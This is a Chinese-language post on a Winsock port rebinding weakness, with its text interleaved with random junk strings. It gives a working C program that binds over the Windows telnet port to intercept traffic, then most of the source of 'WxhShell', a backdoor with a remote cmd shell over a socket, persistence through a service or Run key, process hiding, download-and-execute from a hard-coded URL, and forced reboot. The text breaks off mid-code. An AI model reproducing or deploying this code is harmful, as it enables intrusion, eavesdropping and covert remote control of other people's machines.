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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tqCg<NH.!m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C6~dN&q
h$\hPLx saddr.sin_family = AF_INET; qGCg3u6 [udV } saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y +54z/{ Ui!|!V- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rbbuSI [i7)E]*oTA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^;Q
pE H~]o]uAi" 这意味着什么?意味着可以进行如下的攻击: qhtAtP>i" {W<-f? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jqWvLBU! ^6>|! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =osw3"ng :j<JZs>`R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZiYzsn 0\@|M @X= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C/Bx_j(( ot#kU 8f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 79g>7<vp 0f/!|c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,
% jTXb oH0F9*+W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3G|fo4g Y26l,XIV #include +lJ]-U|P #include 8T
)ELhTj #include JSK5x(GlH #include -U[`pUY?f DWORD WINAPI ClientThread(LPVOID lpParam);
Fjt, int main() $ n[7 { $#3<rcOq WORD wVersionRequested; z|)1l` DWORD ret; [Od9,XBa WSADATA wsaData; .fY<"2g BOOL val; l>Ja[`X@ SOCKADDR_IN saddr; y4rJ- SOCKADDR_IN scaddr; ':)j@O3- int err; "0zXpQi,B SOCKET s; ^)^|;C\` SOCKET sc; W r7e_ int caddsize; _kX/LR"L+ HANDLE mt; %uqD\`- DWORD tid; +\vY; !^ wVersionRequested = MAKEWORD( 2, 2 ); !&p:=}s err = WSAStartup( wVersionRequested, &wsaData ); U]
-@yx if ( err != 0 ) { f?zK" printf("error!WSAStartup failed!\n"); ]Wt6V^M'@ return -1; )wv[!cYyW } ]V^.!=gh$ saddr.sin_family = AF_INET; 6v O)s!b 6-14Htsk6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Olv8nOe< aw%vu saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )"jn{%/t saddr.sin_port = htons(23); ]{+M>i[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K |} ]< { JD`;,Md printf("error!socket failed!\n"); udI:]:,P return -1; | O+># } qS}RFM5| val = TRUE; BBE1}V!u
//SO_REUSEADDR选项就是可以实现端口重绑定的 j{Jc6U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ieRBD6_ { <&EO=A printf("error!setsockopt failed!\n"); X8n/XG ~_ return -1; u m2s^G } C"Q=(3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (i0"hi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ +-hn //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =)1YYJTe9 5@t uo`k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A+1]Ql)$ { c$<O0dI ret=GetLastError(); To{G#QEgG printf("error!bind failed!\n"); xc<eU`-'b return -1; 1S]gD&V } _.*4Y listen(s,2); :Z]hI+7 while(1) ~7 L)n { UEQ'D9 caddsize = sizeof(scaddr); ~eOj:H //接受连接请求 fQTA@WAr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1o~U+s_r if(sc!=INVALID_SOCKET) LO} :Ub { '[yqi1
& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cU5"c)$' if(mt==NULL) 2T(,H.O { IQi[g~E.5 printf("Thread Creat Failed!\n"); [(hvK{) break; 9_A0:S9Z } /xm#:+Sc } :;*#Qh3" CloseHandle(mt); kPX2e h } pM'IQ3N closesocket(s); 5v>{Z0TE[6 WSACleanup(); qwNKRqT return 0; 3auJ^B} } NuS|X
DWORD WINAPI ClientThread(LPVOID lpParam) {}J@+Zsi { (06Vcqg SOCKET ss = (SOCKET)lpParam; ;ko[(eFN@ SOCKET sc; )\D40,p unsigned char buf[4096]; e]*=sp!T SOCKADDR_IN saddr; _QMHPRELk long num; _?]BVw DWORD val; fByh";<`P DWORD ret; fov=Yd! //如果是隐藏端口应用的话,可以在此处加一些判断 +x9"#0|k; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Q#ZD&RZ9. saddr.sin_family = AF_INET; yK%GsCJd: saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <X I35\^ saddr.sin_port = htons(23); 4>"cc@8&~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q'Pz3/mk { Ux)p%- printf("error!socket failed!\n"); q4.dLU,1 return -1; 'f?&EsIV? } eFj6p< val = 100; _z(5e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ad`[Rt']kI { B`?N0t%X ret = GetLastError(); rv%ye
H
return -1; C=dx4U~
} *n*N|6+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PZ!dn%4jy { yhtvr5z1 ret = GetLastError(); bhqq return -1; I~]Q55 } _+Jf.n20 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R<lNk< { ]zvVY:v printf("error!socket connect failed!\n"); +>!B(j\gx closesocket(sc); 5e/qgI)M5 closesocket(ss); l@tyg7CwY return -1; MCi` TXr } ^0s\/qyqm while(1) J%\~<_2ny { x'@32gv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +i`Q 7+d //如果是嗅探内容的话,可以再此处进行内容分析和记录 -#S)}NEn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CEX}`I*- num = recv(ss,buf,4096,0); 4g 6ksdFQ if(num>0) ?lc[hH send(sc,buf,num,0); r}y[r}vk else if(num==0) V@f6Lj break; ^0`<k num = recv(sc,buf,4096,0); "Ql}Y1 if(num>0) ] [HGzHA send(ss,buf,num,0); E/dO7I`B else if(num==0) g* \P6 break; Yt/SnF } ,\S pjE closesocket(ss); 0 .FHdJ< closesocket(sc); hSkc9jBF return 0 ; W3jXZ> } 0tW<LR-}E Pn+IJ=0Y &'huS?gA9 ========================================================== J~iOP $/, BJ/9 下边附上一个代码,,WXhSHELL Y[iDX# )H;pGM: ========================================================== C?w<$DU &$b\= #include "stdafx.h" TDAWI_83- t":W.q< #include <stdio.h> %K%^ ]{ #include <string.h> q?imE ~&U #include <windows.h> dq
YDz #include <winsock2.h> && DD #include <winsvc.h> 3qAwBVWa #include <urlmon.h> m1hW< $>'" )7z #pragma comment (lib, "Ws2_32.lib") 2<[eD`u #pragma comment (lib, "urlmon.lib") SLJ&{`"7 9@#h}E1$ #define MAX_USER 100 // 最大客户端连接数 QM[A;WBr7 #define BUF_SOCK 200 // sock buffer })o~E #define KEY_BUFF 255 // 输入 buffer q:Y6fbt<7 CYPazOfj #define REBOOT 0 // 重启 (2 T#/$ #define SHUTDOWN 1 // 关机 +9CEC1-l *%T)\\H2 #define DEF_PORT 5000 // 监听端口 6WE&((r^ ^s^JzFw #define REG_LEN 16 // 注册表键长度 2gd<8a' ' #define SVC_LEN 80 // NT服务名长度 861i3OXVE> Gh]_L+ // 从dll定义API hncS_ZA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pv/Pww\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )|w*/JK\Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4AY
_#f5u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *<*0".# & Fg|%,fv] // wxhshell配置信息 -,~;qSs struct WSCFG { %s$rP int ws_port; // 监听端口 w~kHQ%A char ws_passstr[REG_LEN]; // 口令 ioC@n8_[G int ws_autoins; // 安装标记, 1=yes 0=no 2PVx++*]C char ws_regname[REG_LEN]; // 注册表键名 XYqpI/s char ws_svcname[REG_LEN]; // 服务名 XJx,9trH char ws_svcdisp[SVC_LEN]; // 服务显示名 $nB-ADRu@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !;o\5x<'$O char ws_passmsg[SVC_LEN]; // 密码输入提示信息 24T@N~\g int ws_downexe; // 下载执行标记, 1=yes 0=no \4h>2y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \C]i|]tl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9z5"y|$ ,c4c@|Bh? }; "El^38Ho lpl8h4d // default Wxhshell configuration v!NB~"LQ struct WSCFG wscfg={DEF_PORT, uP{;*E3? "xuhuanlingzhe", X}oj_zsy;^ 1, rQ9*J "Wxhshell", )!'n&UxPo$ "Wxhshell", )\{'fF "WxhShell Service", IK*oFo{C=K "Wrsky Windows CmdShell Service", Y%<`;wK=^ "Please Input Your Password: ", v~^ks{ 1, 6m4Te| " http://www.wrsky.com/wxhshell.exe", rr |"r "Wxhshell.exe" j~M#Ss-H8 }; OSp?okV 9pWi.J // 消息定义模块 #F_'}?09% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FE/$(7rM char *msg_ws_prompt="\n\r? for help\n\r#>"; zuUT S[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; i]it5 char *msg_ws_ext="\n\rExit."; F\>oxttS1 char *msg_ws_end="\n\rQuit."; ZlthYuJ char *msg_ws_boot="\n\rReboot..."; j((hqJr char *msg_ws_poff="\n\rShutdown..."; \,>_c char *msg_ws_down="\n\rSave to "; ?VFM]hO w[
Axs8N' char *msg_ws_err="\n\rErr!"; ,LhEshf char *msg_ws_ok="\n\rOK!"; -#hK|1] Q]< (bD.7 char ExeFile[MAX_PATH]; +"'F Be int nUser = 0; y^2#9\}K HANDLE handles[MAX_USER]; tf4*R_6;1$ int OsIsNt; ecn}iN LO"_NeuL SERVICE_STATUS serviceStatus; B;VH `*+X SERVICE_STATUS_HANDLE hServiceStatusHandle; >&bv\R/ Rr%tbt.sE // 函数声明 $bk>kbl P int Install(void); aK]7vp+ int Uninstall(void); @u,+F0Yd int DownloadFile(char *sURL, SOCKET wsh); KwS`3 6: int Boot(int flag); zQ ,f5x void HideProc(void); 2=>*O int GetOsVer(void); e#tIk;9Xz int Wxhshell(SOCKET wsl); nz^nptw void TalkWithClient(void *cs); Osnyd+dJY int CmdShell(SOCKET sock); E]NY
(1 int StartFromService(void); GGH;Z WSe int StartWxhshell(LPSTR lpCmdLine); #C4|@7w% BsKbn@'uC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p~h4\.*` VOID WINAPI NTServiceHandler( DWORD fdwControl ); t) LU\! Q/p(#/y#b // 数据结构和表定义 IWQ&6SDW$z SERVICE_TABLE_ENTRY DispatchTable[] = Bb~5& @M|N { cn$5:%IK {wscfg.ws_svcname, NTServiceMain}, ji}#MBac {NULL, NULL} ASR-a't6 }; wTTRoeJ} 9hy'DcSy, // 自我安装 lqF>=15 int Install(void) ~L~]QN\3 { u=%y char svExeFile[MAX_PATH]; o~= iy HKEY key; s3seK6x' strcpy(svExeFile,ExeFile); ~]&B>q dsV ~|D6: // 如果是win9x系统,修改注册表设为自启动 7R: WX: if(!OsIsNt) { ozU2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [eyb7\#
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {B3(HiC RegCloseKey(key); H"_v+N5= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HL@TcfOe~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~x'zX-@rC RegCloseKey(key); qYiv return 0; +$PFHXB } Mq@}snp"S } ?1CJf>B > } `|Ey)@w else { !nwbj21% |) O): // 如果是NT以上系统,安装为系统服务 %l,4=TQ[m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bhYU5I 9 if (schSCManager!=0) ha5e(Hj? { G;NB\3~X SC_HANDLE schService = CreateService AP0|z ( AuAT]` schSCManager, B%fU' wscfg.ws_svcname, k52QaMKa~A wscfg.ws_svcdisp, &3I$8v|!? SERVICE_ALL_ACCESS, usy,V"{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UeA2c_
5 SERVICE_AUTO_START, zj{(p Z1 SERVICE_ERROR_NORMAL, I0iY+@^5 svExeFile, >60"p~t NULL, ;}D-:J-z_ NULL, y:.?5KsPI NULL, !N1J@LT5h NULL, ;|!MI'Af NULL ugI#ZFjJWE ); x9%-plP if (schService!=0) dMJ!>l>2 { -KiRj!v| CloseServiceHandle(schService); .a,(pq Jg CloseServiceHandle(schSCManager); F$h'p4$T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &$F[/[Ds+ strcat(svExeFile,wscfg.ws_svcname); -D#5o,]3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T%kKVr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dQ<(lzS~ RegCloseKey(key); g5}lLKT return 0; <GaT|Hhc= } T`?n,'!( } kon5+g9q CloseServiceHandle(schSCManager); xQo~%wW,? } _IxamWpX$ } 4[1k\ 333u] return 1;
%}h`+L } =&2$/YX0D ;g9% & // 自我卸载 E?Cj/o int Uninstall(void) n+?- { :_Fxy5} HKEY key; #W|!fILL IBET'!j4" if(!OsIsNt) { WYLX?x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >)^NJ2Fd RegDeleteValue(key,wscfg.ws_regname); fL Nag~
RegCloseKey(key); o8{<qn| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BSKEh"f RegDeleteValue(key,wscfg.ws_regname); skR,-:"8 RegCloseKey(key); JpK[&/Ct return 0; +_~,86 } ~^$MA$ /p } g\&2s, } pds*2p)2 else { 3] ^' <Oa9oM},d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rg&19}BU if (schSCManager!=0) -NzTqLBn { :Fw?{0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZMdW2_*F if (schService!=0) SA+d&H}Fc { _CE9B e\ if(DeleteService(schService)!=0) { &$#99\/ CloseServiceHandle(schService); kOipH |.x CloseServiceHandle(schSCManager); dE [Ol return 0; EkZjO Ci } K]<u8eF CloseServiceHandle(schService); zQc"bcif5( } k 4B_W CloseServiceHandle(schSCManager); OQFi.8 } a5?A!k\2 } B{aU;{1 W-XpJ\_ return 1; ffk4mhH } }9CrFTbx; iyj3QLqE // 从指定url下载文件 ~ziexZ=N int DownloadFile(char *sURL, SOCKET wsh) }g{_AiP
rv { 2ykCtRe HRESULT hr; 9p`r7: char seps[]= "/"; g1@wf char *token; bS rZ{l char *file; k[9A,N^lZB char myURL[MAX_PATH]; x=Mm6}/ char myFILE[MAX_PATH]; Wc|z7P~',% ^|?1_r strcpy(myURL,sURL); ?3jdg ]& token=strtok(myURL,seps); rzu
s while(token!=NULL) G),db%,X2 { Yy
h=G file=token; [Oy >R
token=strtok(NULL,seps); 4RQ5(YTTuR } Y<Q\d[3^F qq;b~ 3kW GetCurrentDirectory(MAX_PATH,myFILE); zvr\36 strcat(myFILE, "\\"); yX!#a>d"H strcat(myFILE, file); |$e:* send(wsh,myFILE,strlen(myFILE),0); /U*yw5 send(wsh,"...",3,0); ETp'oh}? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M<(u A' if(hr==S_OK) *jF#^= return 0; U$'y_}V else C[YnrI! return 1; +'XhC#: T//S, } Df@/cT A5XR3$5P // 系统电源模块 c7qwNs*f int Boot(int flag) %
{Q-8w! { }q'WC4. HANDLE hToken; GuO`jz F TOKEN_PRIVILEGES tkp; f1Zt?= kCA5|u if(OsIsNt) { cNj*E
=~; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); io4aYB\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D1Yh,P<CF\ tkp.PrivilegeCount = 1; ;+`uER tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e<5Y94YE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <Tx C!{< if(flag==REBOOT) { lLCdmxbT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #T \ return 0; 0M8.U } uRQ_'l else { o:UXPAj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `^##b6jH return 0; te'*<HM } Y&~M7TY b } &71e5<(dG else { CgnXr/!L if(flag==REBOOT) { xK;e\^v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XP;x@I#l return 0; ~>%DKJe } Zq*eX\#C else { uA\J0"0;} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A1A3~9HuK return 0; 5f{|"LG& } 8Rxc&`_X } #J$qa Ul M !{'ED return 1; >5Lexj } Z@J.1SaB l2&hBacT // win9x进程隐藏模块 &qRJceT( void HideProc(void) qI2'u % { "l,UOv c =!,Gst_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O3%[dR if ( hKernel != NULL ) j|K.i/ { &U&%ka<* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iZ;TYcT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >.LKct*5K FreeLibrary(hKernel); d
4O } 8#f$rs(} ax@H"d& return; 7co`Zw4}g } d^84jf.U OD+5q(!"a // 获取操作系统版本 P(h5=0`*PR int GetOsVer(void) ^?"^Pmw
{ ;V.vfar OSVERSIONINFO winfo; r4;Bu<PQN1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6^YJ] w GetVersionEx(&winfo); &
_K*kI: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]d'^Xs return 1; !R:y'Y%j else r4eUZ .8R return 0; RP`
`mI } ?_ RYqolz ek)Xrp:2 // 客户端句柄模块 6/2v int Wxhshell(SOCKET wsl) x /
XkD]Hq { dZ2`{@AYY SOCKET wsh; 9P"iuU struct sockaddr_in client; 2)\vj5<~$ DWORD myID; t(?<#KUB- 7+XM3 while(nUser<MAX_USER) gfo}I2" { 'sU)|W(3U int nSize=sizeof(client); &" h]y?Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "mZ.V if(wsh==INVALID_SOCKET) return 1; s AE9<(g&@ )=H{5&e#u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S,vu]?-8 if(handles[nUser]==0) kRot7-7I| closesocket(wsh); +d39f-[ else E
$6ejGw- nUser++; 1d v=xe. } ')o0O9/; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xP@/9SM r
nBOj#N return 0; }uQ${]&D } Do;#NLrWb =A n`D // 关闭 socket xm^95}80yh void CloseIt(SOCKET wsh) nj2gs,k { h>3H7n. closesocket(wsh); Hj~O49%j& nUser--; 9<cOYY ExitThread(0); jXR16| } ^ d\SPZ o'Y#H
r)/ // 客户端请求句柄 A1_ J sS void TalkWithClient(void *cs) PqEAqP { 'ZnIRE,N -:]@HD : SOCKET wsh=(SOCKET)cs; -JTG?JOd] char pwd[SVC_LEN]; #IX&9 aFB} char cmd[KEY_BUFF]; MUcNC\`z char chr[1]; 7rIlTrG int i,j; nW5K[/1D ]Oso#GYD while (nUser < MAX_USER) { >saI+u'o GS%b=kc if(wscfg.ws_passstr) { dVGbe07 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #nEL~& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \A(5;ZnuD //ZeroMemory(pwd,KEY_BUFF); 3k{ @.V?] i=0; abWl ut while(i<SVC_LEN) { Sdc*rpH"( Yx1 D) // 设置超时 RvW.@#EH0 fd_set FdRead; aZgNPw struct timeval TimeOut; )w"0w( FD_ZERO(&FdRead); y Nva1I FD_SET(wsh,&FdRead); 4<}A]BQVkJ TimeOut.tv_sec=8; ']?=[`#NL TimeOut.tv_usec=0; Y6VQ:glDT- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J
Jy{@[m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8p=>?wG iz`jDa Q|1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^En8 pwd =chr[0]; cU+>|'f& if(chr[0]==0xd || chr[0]==0xa) { d8:C3R pwd=0; Gah lS*W break; }1>atgq]w } 9^zx8MRXd i++; t!jwY /T } V2Y$yV8g1 >&hX&,hG // 如果是非法用户,关闭 socket m2b`/JW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
cht } 3h&bZ K-4tdC3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0QoLS|voA/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Y-2
# PU+1=%'V while(1) { %F5 =n" ,so4Lb(vG ZeroMemory(cmd,KEY_BUFF); !}q."%%J_% rzV"Dm$' // 自动支持客户端 telnet标准 7bT
/KLU j=0; xF8 :^' while(j<KEY_BUFF) { /=ylQn3
* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (C `@a/q cmd[j]=chr[0]; RVP 18ub.S if(chr[0]==0xa || chr[0]==0xd) { z!CD6W1n cmd[j]=0; -N z}DW> break; t w!.%_1^ } :t>Q:mX(N j++; M(5D'4. } /{we;Ut=g Z| L2oce // 下载文件 FpdHnu i1 if(strstr(cmd,"http://")) { }vD;DSz: send(wsh,msg_ws_down,strlen(msg_ws_down),0); GP]TnQ<*; if(DownloadFile(cmd,wsh)) c[{UI send(wsh,msg_ws_err,strlen(msg_ws_err),0); a: IwA9!L else ,n5a] )Dg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h,]+ >`b } xjrlc9 else { A&
=pw# stXda@y<p switch(cmd[0]) { o<J5! W 5I=X]& // 帮助 \`gEu{ case '?': { iGa}3pF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s3< F break; .. UoyBV } <[9?Rj@ // 安装 (nz}J)T& case 'i': { :c<*%*e if(Install()) SG`)PW? send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*
3bkKVB else M.[wKGX( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K;C_Z/<% break; VN+\>j- } w,
7Cr // 卸载 z1Q2*:)c case 'r': { p1^0{ILx if(Uninstall()) lh$CWsx send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<d(
else !x_t`78T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I>Y{>S break; I61%H9; } 1p=&WM // 显示 wxhshell 所在路径 fz8h]PZ case 'p': { Hf_'32e3< char svExeFile[MAX_PATH]; GBr,LN strcpy(svExeFile,"\n\r"); -t>Z
9 strcat(svExeFile,ExeFile); M8_ R send(wsh,svExeFile,strlen(svExeFile),0); G"C;A`6 break; ;NG1{]|Z } pz @km // 重启 J{!'f|
J case 'b': { cD8Ea( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @T/q d>T o if(Boot(REBOOT)) GEfY^!F+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9Il\PoTq else { - p^'XL*Z closesocket(wsh); sW'6}^Q ExitThread(0); )-#i8?y3C } `:gYXeR break; yU!GS- } ~4+8p9f // 关机 NQ{-@/v case 'd': { -xTKdm
D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f| =# q if(Boot(SHUTDOWN)) b-4dsz'ai send(wsh,msg_ws_err,strlen(msg_ws_err),0); \*J.\f else { g@(4ujOT closesocket(wsh); 1=>2uYKR ExitThread(0); _T
a}B4; } nqeVV&b! break; 6Wb!J>93 } kz_M;h> // 获取shell kkL(;H:% case 's': { F~'sT}A* CmdShell(wsh); l{QC}{Ejc2 closesocket(wsh); !^-OfqIHfV ExitThread(0); ]f5c\\) break; ( mt*y]p? } EO"6Dq( // 退出 <d S5||| case 'x': { >'.[G:b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vuW-}fY; CloseIt(wsh); JeL~]F break; ?f f
[$ab } G1TANy // 离开 LGXZx}4@; case 'q': { 1Df,a#,y" send(wsh,msg_ws_end,strlen(msg_ws_end),0); jVs(x
closesocket(wsh); X]MTaD.t WSACleanup(); FF jRf exit(1); p $XnOh break; G4O3h Y.` } lm!FM`m } ]h0Y8kpd } |lY`9-M`I _trpXkQp // 提示信息 "H@Fe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A`g.[7 } -FaaFw:Z;A } cX Ma\#P <oQ6 Z X return; !x6IV25 } Wy!uRzbBv 03C .Xh=! // shell模块句柄 Gg}t-_M int CmdShell(SOCKET sock) c{ 7<H { !;jgzi?z STARTUPINFO si; \:h0w;34O ZeroMemory(&si,sizeof(si)); Eh:yRJ_8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Nkz,R? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &D^e<j}RQ PROCESS_INFORMATION ProcessInfo; 8a?IC|~Pz char cmdline[]="cmd"; 0+rW;-_( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j+ I*Xw return 0; g(1"GKg3K } $.;iu2iyo K('
9l& A // 自身启动模式 vWuyft* int StartFromService(void) y]w )`}Ax { ZrA
Um typedef struct 8z?$t-D O { mcCB7<.
e DWORD ExitStatus; w gmWo8 DWORD PebBaseAddress; yX`J7O{= DWORD AffinityMask; eXc[3ceUr DWORD BasePriority; 5R)[Ou. ULONG UniqueProcessId; RZ<.\N
(M ULONG InheritedFromUniqueProcessId; ~6] )*y } PROCESS_BASIC_INFORMATION; $G)&J2zL 75<el.'H PROCNTQSIP NtQueryInformationProcess; )Gmb?!/^ 3mybG%39 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
